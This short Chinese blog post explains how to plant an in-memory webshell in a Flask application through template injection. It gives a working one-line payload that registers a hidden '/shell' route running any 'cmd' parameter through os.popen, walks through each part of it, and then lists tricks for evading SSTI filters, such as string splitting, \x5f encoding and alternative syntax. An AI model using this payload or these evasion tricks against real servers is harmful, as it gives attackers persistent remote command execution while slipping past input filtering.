Python内存马
Python内存马
原始Flask内存马:
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
首先是利用url_for调用了eval执行后面写入内存马的命令
然后是app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()).
先看一下add_url_rule函数:
-
rule: 函数对应的
URL规则, 满足条件和app.route的第一个参数一样, 必须以/开头. -
endpoint: 端点, 即在使用
url_for进行反转的时候, 这里传入的第一个参数就是endpoint对应的值, 这个值也可以不指定, 默认就会使用函数的名字作为endpoint的值. -
view_func:
URL对应的函数, 这里只需写函数名字而不用加括号. -
provide_automatic_options: 控制是否应自动添加选项方法.
-
options: 要转发到基础规则对象的选项.

这一部分用add_url_rule添加了一个路由,payload中add_url_rule函数的第三个参数定义了一个lambda函数,通过os库的popen函数执行从web中获取的cmd参数值并返回结果,默认为whoami
接着看'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}._request_ctx_stack是Flask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即上文中提到的Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app.
ByPass
这里的url_for可替换为get_flashed_messages或者request.__init__或者request.application.
__globals__可用__getattribute__('__globa''ls__')替换.
[]可用.__getitem__()或.pop()替换.
过滤{{或者}}可以用{%或者%}绕过,{%%}中间可以执行if语句
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
其他绕过参考SSTI绕过即可.......

浙公网安备 33010602011771号